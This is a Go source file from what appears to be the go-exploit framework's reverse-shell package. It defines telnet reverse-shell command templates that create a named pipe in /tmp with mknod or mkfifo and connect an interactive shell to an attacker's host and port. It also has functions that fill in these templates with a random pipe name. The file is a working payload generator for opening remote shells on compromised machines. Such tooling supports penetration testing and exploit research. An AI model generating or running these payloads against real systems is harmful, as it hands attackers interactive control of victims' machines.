package reverse

import (
	"fmt"

	"github.com/vulncheck-oss/go-exploit/random"
)

const (
	TelnetDefault       = TelnetMknod
	TelnetMknod         = `cd /tmp; mknod %s p; sh -i < %s 2>&1 | telnet %s:%d > %s; rm %s;`
	TelnetMknodNoColon  = `cd /tmp; mknod %s p; sh -i < %s 2>&1 | telnet %s %d > %s; rm %s;`
	TelnetMkfifo        = `cd /tmp; mkfifo %s; telnet %s:%d 0<%s | sh 1>%s; rm %s;`
	TelnetMkfifoNoColon = `cd /tmp; mkfifo %s; telnet %s %d 0<%s | sh 1>%s; rm %s;`
)

func (telnet *TelnetPayload) Default(lhost string, lport int, colon bool) string {
	return telnet.Mknod(lhost, lport, colon)
}

func (telnet *TelnetPayload) Mknod(lhost string, lport int, colon bool) string {
	node := random.RandLetters(3)

	if colon {
		return fmt.Sprintf(TelnetMknod, node, node, lhost, lport, node, node)
	}

	return fmt.Sprintf(TelnetMknodNoColon, node, node, lhost, lport, node, node)
}

func (telnet *TelnetPayload) Mkfifo(lhost string, lport int, colon bool) string {
	fifo := random.RandLetters(3)

	if colon {
		return fmt.Sprintf(TelnetMkfifo, fifo, lhost, lport, fifo, fifo, fifo)
	}

	return fmt.Sprintf(TelnetMkfifoNoColon, fifo, lhost, lport, fifo, fifo, fifo)
}
